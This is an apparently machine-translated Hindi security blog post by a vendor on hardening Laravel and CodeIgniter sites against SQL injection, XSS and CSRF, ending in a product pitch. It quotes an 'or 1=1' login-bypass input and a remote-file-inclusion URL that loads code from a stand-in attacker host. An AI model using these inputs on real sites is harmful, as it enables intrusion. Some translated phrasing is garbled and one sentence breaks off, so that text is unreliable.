Laravel और CodeIgniter दो लोकप्रिय ओपन-सोर्स PHP फ्रेमवर्क हैं जिनका उपयोग वेबसाइट बनाने के लिए किया जाता है। हालांकि, इन ढांचे का उपयोग करने वाली साइटों को तैनात करना उन्हें सुरक्षित नहीं बनाता है - यह सुरक्षित विकास प्रथाएं हैं जो मायने रखती हैं। CodeIgniter और Laravel में SQL इंजेक्शन सहायता मंचों पर सबसे आम सुरक्षा विषयों में से एक हैं। SQLi के अलावा, असुरक्षित विकास प्रथाएं भी साइटों को XSS, CSRF, RFI हमलों और अन्य के प्रति संवेदनशील बनाती हैं।
लारावेल/कोडइग्निटर हैक की गई वेबसाइटों के उदाहरण
CodeIgniter या Laravel में SQL इंजेक्शन जैसे सामान्य और व्यापक हमले वेबसाइट से समझौता कर सकते हैं। लारवेल कम्युनिटी फ़ोरम या कोडइग्निटर कम्युनिटी फ़ोरम पर बड़ी संख्या में इसी तरह के हमलों से पीड़ित उपयोगकर्ताओं को मदद माँगते हुए पाया जा सकता है - उदाहरण इस प्रकार हैं:
कोडइग्निटर या लारवेल हैक्स के लक्षण
- आप Laravel या CodeIgniter फ़िशिंग पृष्ठ पाते हैं जो आपकी वेबसाइट पर संवेदनशील जानकारी चुराने के लिए डिज़ाइन किए गए हैं।
- आपके उपयोगकर्ता दुर्भावनापूर्ण साइटों पर पुनर्निर्देशित होने की शिकायत करते हैं।
- आप पाते हैं कि जापानी कीवर्ड हैक या फार्मा हैक आदि के कारण आपकी लारवेल या कोडइग्निटर साइट पर अस्पष्ट सामग्री दिखाई देती है।
- आपकी Laravel या CodeIgniter वेबसाइट बहुत धीमी हो जाती है और त्रुटि संदेश दिखाती है।
- तृतीय-पक्ष होस्टिंग का उपयोग करते समय, एक 'आपका खाता निलंबित कर दिया गया है!' संदेश प्रकट होता है।
- आपकी Laravel या CodeIgniter साइट सर्च इंजन द्वारा ब्लैक लिस्टेड हो जाती है।
- त्रुटि लॉग आपकी साइट पर कोडइग्निटर में SQL इंजेक्शन जैसे कुछ हमले दिखाते हैं।
- लॉग दूरस्थ आईपी से आपकी वेबसाइट में लॉगिन दिखाते हैं।
- नए, दुष्ट व्यवस्थापक आपकी वेबसाइट के लॉगिन डेटाबेस में दिखाई देते हैं।
सामान्य भेद्यताएं और हैक्स
1) CodeIgniter/Laravel में इंजेक्शन अटैक
a) SQL इंजेक्शन
कोडइग्निटर में SQL इंजेक्शन एक बहुत ही सामान्य, व्यापक रूप से प्रचलित हमला है। जैसा कि नाम से पता चलता है, हमला सर्वर के डेटाबेस को लक्षित करता है। कोडनिर्देशक में SQL इंजेक्शन का शोषण, हमलावर कर सकता है:
- डेटाबेस से डेटा पुनर्प्राप्त करें।
- डेटाबेस की सामग्री को संपादित करें। वे पूरे डेटाबेस को भी छोड़ सकते हैं!
- कुछ मामलों में, उन्हें उल्टा खोल मिल सकता है।
or 1=1
. जैसे इनपुट का उपयोग करके प्रमाणीकरण को बायपास करें ।
b) PHP कोड इंजेक्शन
PHP कोड इंजेक्शन एक अन्य प्रकार की सामान्य भेद्यता है जो हमलावरों को Laravel/CodeIgniter वेबसाइट पर कोड निष्पादित करने की अनुमति देता है। हालाँकि, यह कमांड इंजेक्शन से इस अर्थ में भिन्न है कि हमलावर केवल उस विशेष भाषा के कमांड को निष्पादित कर सकता है।
कमांड इंजेक्शन एक हमलावर को रिवर्स शेल के माध्यम से कमांड निष्पादित करने की अनुमति देता है। उदाहरण के लिए, कमजोर पैरामीटर को एक दुर्भावनापूर्ण फ़ाइल के लिंक के साथ आपूर्ति की जा सकती है जिसमें निष्पादित करने के लिए PHP कोड होता है, जैसे https://testsite.com/?page=https://evilsite.com/evilcode.php
।
इस फ़ाइल में phpinfo()
. जैसे कार्य हो सकते हैं , जिसका उपयोग जानकारी हासिल करने के लिए किया जा सकता है।
2) क्रॉस-साइट स्क्रिप्टिंग
XSS भेद्यता Laravel/CodeIgniter वेबसाइटों में इनपुट सैनिटाइजेशन की कमी के कारण होती है। दोनों ढांचे में इन हमलों से बचने के लिए विशेष रूप से डिज़ाइन किए गए सुरक्षा कार्य हैं। XSS हमले का फायदा उठाकर, हमलावर यह कर सकते हैं:
- फ़िश उपयोगकर्ता कुकीज़ और अन्य संवेदनशील सत्र डेटा चुराते हैं।
- उपयोगकर्ताओं को दुर्भावनापूर्ण साइट पर रीडायरेक्ट करें।
- समान मूल नीति को बायपास करें।
3) क्रॉस-साइट अनुरोध जालसाजी
इस हमले का उद्देश्य उपयोगकर्ताओं को अवांछित कार्य करने के लिए बरगलाना है। हालांकि, इसका उपयोग केवल डेटा में हेरफेर करने के लिए किया जा सकता है (उदाहरण के लिए प्रपत्रों को हटाना) लेकिन इसे चुराने या पढ़ने के लिए नहीं। सबसे खराब स्थिति में, यदि पीड़ित व्यवस्थापक है, तो संपूर्ण एप्लिकेशन को नष्ट किया जा सकता है। यह हमला पीड़ितों को एक लिंक पर क्लिक करने के लिए लुभाने के लिए सोशल इंजीनियरिंग के तरकीबों का उपयोग करता है जो पृष्ठभूमि में किसी खाते को हटाने जैसे आदेशों को निष्पादित करता है।
इन सामान्य कमजोरियों के अलावा, कोडइग्निटर और लारवेल के लिए विशिष्ट कुछ कमजोरियां यहां दी गई हैं:
4) CodeIgniter में ज्ञात कमजोरियां
- विशेषाधिकार वृद्धि (CVE-2020-10793):
संस्करण 4.0.0 के माध्यम से कोडइग्निटर दूरस्थ हमलावरों को "उपयोगकर्ता की भूमिका चुनें" पृष्ठ पर संशोधित ईमेल आईडी के माध्यम से विशेषाधिकार प्राप्त करने की अनुमति देता है।
- सत्र निर्धारण (CVE-2018-12071):
संस्करण 3.1.9 से पहले कोडइग्निटर में एक सत्र निर्धारण समस्या मौजूद है क्योंकि सत्र पुस्तकालय में session.use_strict_mode को गलत तरीके से संभाला गया था।
- XML बाहरी इकाई समस्या (CVE-2015-3907):
कोडइग्निटर रेस्ट सर्वर (उर्फ कोडइग्निटर-रेस्टसर्वर) 2.7.1 XXE हमलों की अनुमति देता है।
5) लारवेल में ज्ञात भेद्यताएं
- डीबग मोड:रिमोट कोड निष्पादन (सीवीई-2021-3129 )
लार्वा सीएमएस में आरसीई भेद्यता की खोज की गई है (संस्करण लारावेल <=v8.4.2 नवंबर 2020 के अंत में। (स्रोत)
- सूचना एक्सपोजर (CVE-2020-13909):
लैरावेल के लिए संस्करण 2.0.5 से पहले का इग्निशन पेज ग्लोबल्स, _get, _post, _cookie, और _env को गलत तरीके से हैंडल करता है। यह एक दूरस्थ हमलावर को संभावित संवेदनशील जानकारी तक पहुंच प्राप्त करने की अनुमति देता है।
- अक्रमांकन (सीवीई-2019-9081):
Laravel Framework 5.7.x के इल्यूमिनेट घटक में एक डिसेरिएलाइज़ेशन भेद्यता है, जो PendingCommand.php में PendingCommand वर्ग की __destruct विधि से संबंधित सामग्री को नियंत्रित करने योग्य होने पर रिमोट कोड निष्पादन की ओर ले जा सकती है।
क्या Laravel या CodeIgniter का उपयोग करने वाली आपकी वेबसाइट हैक की गई थी? चैट विज़ेट पर हमें एक संदेश दें।
अपने कोडइग्निटर/लारावेल वेबसाइट की सुरक्षा करना
कोडइग्निटर में SQL इंजेक्शन से बचना
कोडइग्निटर कई सुरक्षा सुविधाओं के साथ आता है। उनमें से कुछ में SQL इंजेक्शन से बचने के लिए फ़ंक्शन और लाइब्रेरी शामिल हैं। हमलों से बचने के लिए इन सुविधाओं का उपयोग करने के तीन तरीके यहां दिए गए हैं:
1. CodeIgniter में एस्केपिंग क्वेरीज़
PHP एप्लिकेशन में सबमिट करने से पहले डेटा से बचना इसे साफ कर देगा। यह सुरक्षा प्रथाओं में से एक है जिसका नियमित रूप से पालन किया जाना चाहिए। एस्केपिंग क्वेरी को तीन तरीकों से पूरा किया जा सकता है:
- $this->db->escape(): भागने से पहले डेटा प्रकार निर्धारित करता है
- $this->db->escape_str(): डेटा प्रकार निर्धारित नहीं करता है, बस इससे बच निकलता है।
- $this->db->escape_like_str(): शर्तों के साथ इस्तेमाल किया जा सकता है।
उदाहरण के लिए, नीचे दिए गए कोड स्निपेट को देखें।
<?php
$email= $this->input->post('email');
$query = 'SELECT * FROM subscribers_tbl WHERE user_name='.$this->db->escape($email);
$this->db->query($query);
?>
इस कोड में, फ़ंक्शन $this->db->escape() पहले केवल स्ट्रिंग डेटा से बचने के लिए डेटा प्रकार निर्धारित करता है। यह स्वचालित रूप से इनपुट डेटा के आसपास सिंगल कोट्स भी जोड़ता है। यह CodeIgniter में SQL इंजेक्शन को रोकता है।
2. कोडनिर्देशक में बाध्यकारी प्रश्न
इनपुट को साफ करने के अलावा, बाध्यकारी प्रश्न कोडइग्निटर वेबसाइट में कोड को सरल भी कर सकते हैं। यह विधि सिस्टम को प्रश्न पूछने देती है, जिससे डेवलपर के लिए जटिलता कम हो जाती है। उदाहरण के लिए, नीचे दिए गए कोड स्निपेट को देखें:
<?php $sql = "SELECT * FROM subscribers_tbl WHERE status = ? AND email= ?"; $this->db->query($sql, array('active', '[email protected]'));?>
यहां, आप पहली पंक्ति में मानों के बजाय कुछ प्रश्न चिह्न देख सकते हैं। क्वेरी बाइंडिंग के कारण, इन प्रश्न चिह्नों को दूसरी पंक्ति में सरणी के मानों से बदल दिया जाता है। पिछले उदाहरण में, हमने मैन्युअल क्वेरी को भागते हुए देखा था। यहां, यह विधि इसे स्वचालित रूप से पूरा करती है, जिससे कोडइग्निटर में SQL इंजेक्शन बंद हो जाता है।
3. CodeIgniter में एक्टिव क्लास रिकॉर्ड
कोडइग्निटर की सक्रिय रिकॉर्ड सुविधा हमें कोड या स्क्रिप्टिंग की न्यूनतम पंक्तियों के साथ डेटाबेस संचालन करने की अनुमति देती है। चूंकि यह सिस्टम का ही एक कार्य है, इसलिए क्वेरी एस्केपिंग स्वचालित रूप से की जाती है। उदाहरण के लिए, तालिका के सभी डेटा को एक साधारण क्वेरी द्वारा पुनर्प्राप्त किया जा सकता है:
$query = $this->db->get('mytable');
लारवेल में SQL इंजेक्शन से बचना
लारवेल में ऑब्जेक्ट-रिलेशनल मैपिंग उपयोगकर्ता इनपुट को स्वच्छ करने के लिए PHP ऑब्जेक्ट डेटा बाइंडिंग का उपयोग करता है जो बदले में SQL इंजेक्शन Laravel को रोकता है। पैरामीटर बाइंडिंग भी स्वचालित रूप से उद्धरण जोड़ता है, जिससे या 1=1 . जैसे खतरनाक इनपुट को रोका जा सकता है प्रमाणीकरण को दरकिनार करने से।
लैरावेल में नामित बाध्यकारी क्वेरी का कार्यान्वयन यहां दिया गया है:
$results = DB::select('select * from users where id = :id', ['id' => 1]);
कोडनिर्देशक में क्रॉस-साइट स्क्रिप्टिंग से बचना
संभावित XSS हमलों को रोकने के लिए, CodeIgniter एक पूर्व-निर्मित XSS फ़िल्टर के साथ आता है। यदि इस फ़िल्टर को दुर्भावनापूर्ण अनुरोध का सामना करना पड़ता है, तो यह इसे अपने चरित्र इकाई में परिवर्तित कर देता है जिससे एप्लिकेशन सुरक्षित रहता है। इस फ़िल्टर तक xss_clean() . के माध्यम से पहुंचा जा सकता है विधि:
$data = $this->security->xss_clean($data);
हालांकि, कभी-कभी हमलावर छवि फ़ाइलों के भीतर दुर्भावनापूर्ण कोड डाल सकते हैं। ऐसे हमलों को रोकने के लिए, अपलोड की गई फ़ाइलों की सुरक्षा के लिए भी जाँच की जा सकती है। उदाहरण के लिए, नीचे दिए गए कोड को देखें:
if ($this->security->xss_clean($file, TRUE) === FALSE)
{
// file failed the XSS test
}
यह कोड सत्य . का बूलियन मान लौटाएगा अगर छवि सुरक्षित है और इसके विपरीत। हालांकि, यहां यह उल्लेखनीय है कि html_escape() . का उपयोग करना उचित है विधि यदि आप HTML विशेषता मानों को फ़िल्टर करना चाहते हैं।
लारवेल में क्रॉस साइट स्क्रिप्टिंग से बचना
एस्केप स्ट्रिंग का उपयोग करके, लारवेल वेबसाइटों में XSS हमलों से बचा जा सकता है। एस्केप स्ट्रिंग्स अस्वच्छ इनपुट को लागू होने से रोकेंगे। Laravel संस्करण> 5.1 में, यह सुविधा डिफ़ॉल्ट रूप से सक्षम है। इसलिए, जब इनपुट जैसे
उपयोगकर्ता द्वारा आपूर्ति किए गए इनपुट की लंबाई को सीमित करने से कुछ प्रकार के XSS और SQLi हमलों को भी रोका जा सकता है। यह नीचे दिए गए HTML कोड के माध्यम से किया जा सकता है:
<input type="text" name="task" maxlength="10">
इसे जेएस फ़ंक्शन के माध्यम से कार्यान्वित किया जा सकता है। {% कच्चा%} {{}} {% endraw%} Laravel में सिंटैक्स डिफ़ॉल्ट रूप से पारित किसी भी दुर्भावनापूर्ण HTML संस्थाओं से बच सकता है।
कुछ पुस्तकालय हैं जो विशेष रूप से लारवेल एक्सएसएस को रोकने के लिए डिज़ाइन किए गए हैं। यदि आप ब्लेड जैसे टेम्पलेट इंजन का उपयोग करते हैं, तो यह स्वचालित रूप से ऐसे हमलों को रोकने के लिए एस्केपिंग का उपयोग करेगा।
CodeIgniter में CSRF हमलों को रोकना
कोडइग्निटर में एप्लिकेशन/config/config.php फ़ाइल को संपादित करके सीएसआरएफ सुरक्षा को सक्षम किया जा सकता है। फ़ाइल में बस निम्न कोड संलग्न करें:
$config['csrf_protection'] = TRUE;
यदि आप फॉर्म हेल्पर का उपयोग करते हैं, तो आप form_open() . फ़ंक्शन का उपयोग कर सकते हैं डिफ़ॉल्ट रूप से प्रपत्रों में छिपे हुए CSRF टोकन फ़ील्ड को सम्मिलित करने के लिए। CSRF सुरक्षा को लागू करने का दूसरा तरीका get_csrf_token_name() का उपयोग करना है और get_csrf_hash() . संदर्भ के लिए, फॉर्म के नीचे दिए गए दो कोड स्निपेट और सर्वर-साइड कार्यान्वयन देखें:
<input type="hidden" name="<?=$csrf['name'];?>" value="<?=$csrf['hash'];?>" />
——————————————————————
$csrf = array(
'name' => $this->security->get_csrf_token_name(),
'hash' => $this->security->get_csrf_hash());
कोडइग्निटर सीएसआरएफ हमलों को रोकने के लिए टोकन का पुनर्जनन भी एक और सुरक्षित अभ्यास है। हालांकि, टोकन पुनर्जनन समस्याग्रस्त हो सकता है क्योंकि उपयोगकर्ताओं को अन्य टैब पर नेविगेट करने के बाद पुन:सत्यापन की आवश्यकता हो सकती है। टोकन पुनर्जनन निम्न कॉन्फ़िगरेशन पैरामीटर द्वारा किया जा सकता है:
$config['csrf_regenerate'] = TRUE;
लारवेल में CSRF हमलों को रोकना
सीएसआरएफ हमलों से बचाने के लिए टोकन लारवेल रूपों में लागू किए जाते हैं। फिर इन टोकन को एक AJAX कॉल का उपयोग करके बुलाया जाता है जिसे प्रत्येक रूप में एम्बेड किया जा सकता है। अनुरोध टोकन से डेटा का मिलान सर्वर पर संग्रहीत एक के साथ किया जाता है ताकि उपयोगकर्ता के सत्र में विसंगतियों की जाँच हो सके। CSRF टोकन को निम्नलिखित कोड (ब्लेड टेम्प्लेट इम्प्लीमेंटेशन) का उपयोग करके फॉर्म में पास किया जा सकता है:
<form name="CSRF Implementation">
{!! csrf_field() !!}
<!-- Other inputs can come here-->
</form>
हालांकि, LaravelCollective/HTML पैकेज का उपयोग करते समय डिफ़ॉल्ट रूप से CSRF टोकन जोड़ा जा सकता है।
CodeIgniter में त्रुटि रिपोर्टिंग को ब्लॉक करें
फ़ाइल त्रुटियाँ विकास परिवेश में सहायक होती हैं। हालाँकि, वेब पर, कोडइग्निटर फ़ाइल त्रुटियाँ संभावित रूप से संवेदनशील जानकारी को हमलावरों को लीक कर सकती हैं। इसलिए, त्रुटि रिपोर्टिंग को बंद करना एक सुरक्षित अभ्यास है।
PHP त्रुटियाँ
PHP त्रुटि रिपोर्टिंग को बंद करने के लिए, index.php फ़ाइल का उपयोग करें। error_reporting() फ़ंक्शन के तर्क के रूप में बस शून्य को पास करें। संदर्भ के लिए नीचे दिए गए उदाहरण को देखें:
error_reporting(0);
हालांकि, CodeIgniter संस्करण 2.0.1 और इसके बाद के संस्करण के लिए, index.php में पर्यावरण स्थिर है PHP त्रुटि आउटपुट को अक्षम करने के लिए फ़ाइल को "उत्पादन" पर सेट किया जा सकता है।
डेटाबेस त्रुटियां
डेटाबेस त्रुटियों को application/config/database.php . संपादित करके अक्षम किया जा सकता है फ़ाइल। बस db_debug विकल्प को FALSE पर सेट करें। संदर्भ के लिए नीचे दिए गए उदाहरण को देखें:
$db['default']['db_debug'] = FALSE;
त्रुटि लॉगिंग
ऐसा करने का एक स्मार्ट तरीका लॉग फाइलों में होने वाली त्रुटियों को स्थानांतरित करना होगा जो उन्हें प्रदर्शित होने से रोकेगा। /config/config.php . का लॉग थ्रेशोल्ड विकल्प इस उद्देश्य के लिए फ़ाइल को 1 पर सेट किया जा सकता है। नीचे दिए गए उदाहरण को देखें:
$config['log_threshold'] = 1;
लारवेल या कोडइग्निटर के लिए वेब एप्लिकेशन फ़ायरवॉल का उपयोग करें
हमलावर आपकी साइट से समझौता करने के लिए लगातार नए तरीके खोज रहे हैं। इसलिए, एक और सुरक्षित अभ्यास फ़ायरवॉल या किसी प्रकार के सुरक्षा समाधान का उपयोग करना है। एस्ट्रा सिक्योरिटी एक ऐसा सुरक्षा समाधान है जिसे आपकी लचीली मांगों को पूरा करने के लिए डिज़ाइन किया गया है। बस हमें चैट विजेट पर एक संदेश दें और अपनी वेबसाइट को सुरक्षित करने के एक कदम और करीब पहुंचें। अभी एक डेमो प्राप्त करें!
एस्ट्रा सिक्योरिटी आपकी लारवेल या कोडइग्निटर वेबसाइट के लिए 80+ सक्रिय परीक्षणों के साथ एक व्यापक सुरक्षा ऑडिट प्रदान करती है, स्वचालित और मैन्युअल परीक्षण का एक सही मिश्रण।